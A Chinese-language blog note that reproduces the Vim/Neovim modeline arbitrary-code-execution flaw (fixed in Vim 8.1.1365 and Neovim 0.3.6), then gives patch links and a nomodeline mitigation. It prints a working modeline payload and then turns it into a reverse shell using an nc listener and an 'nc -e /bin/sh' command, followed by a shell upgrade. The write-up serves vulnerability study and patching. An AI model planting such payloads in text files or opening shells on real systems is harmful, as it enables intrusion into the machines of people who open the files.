Vim通過Modelines執行任意程式碼

  • 2019 年 11 月 20 日
  • 筆記

漏洞概要:

在8.1.1365之前的Vim和在0.3.6之前的Neovim很容易通過打開特製的文本文件而通過模型執行任意程式碼。

復現條件:

確保未禁用modeline選項(:set modeline)。

開啟該選項:

# cd /usr/share/vim

# vim vimrc

寫入-> :set modeline

復現過程:

1.創建poc.txt

命令#vim poc.txt

:!uname-a||" vi:fen:fdm=expr:fde=assert_fails("source!\%"):fdl=0:fdt="

2.用vim打開poc.txt

可以看到vim在打開poc.txt的時候執行了uname -a命令

進階:

創建反彈shell

1.監聽反彈埠

#nc –lvp 9999

2.創建shell.txt

參考鏈接: https://github.com/numirias/security

這裡我直接克隆它的項目

#git clone https://github.com/numirias/security

#vim shell.txt

打開後反彈shell

可以執行命令,但是不知道為什麼第二次打開就不可以了……

優化shell: python -c "importpty;pty.spawn('/bin/bash')"

更換思路:

把uname –a 更換為 Nohup nc 127.0.0.1 9999 –e /bin/sh

這樣也成功反彈shell了,不過這個shell是脆弱的

修復建議:

一:打修補程式

Vim修補程式8.1.1365

https://github.com/vim/vim/commit/5357552

Neovim修補程式(在v0.3.6中發布)

https://github.com/neovim/neovim/pull/10082

https://github.com/neovim/neovim/releases/tag/v0.3.6

二:在vimrc(set nomodeline)中禁用model,使用securemodelines 插件

作者:sheepherder

(文章轉載請註明來自:IT同路人論壇)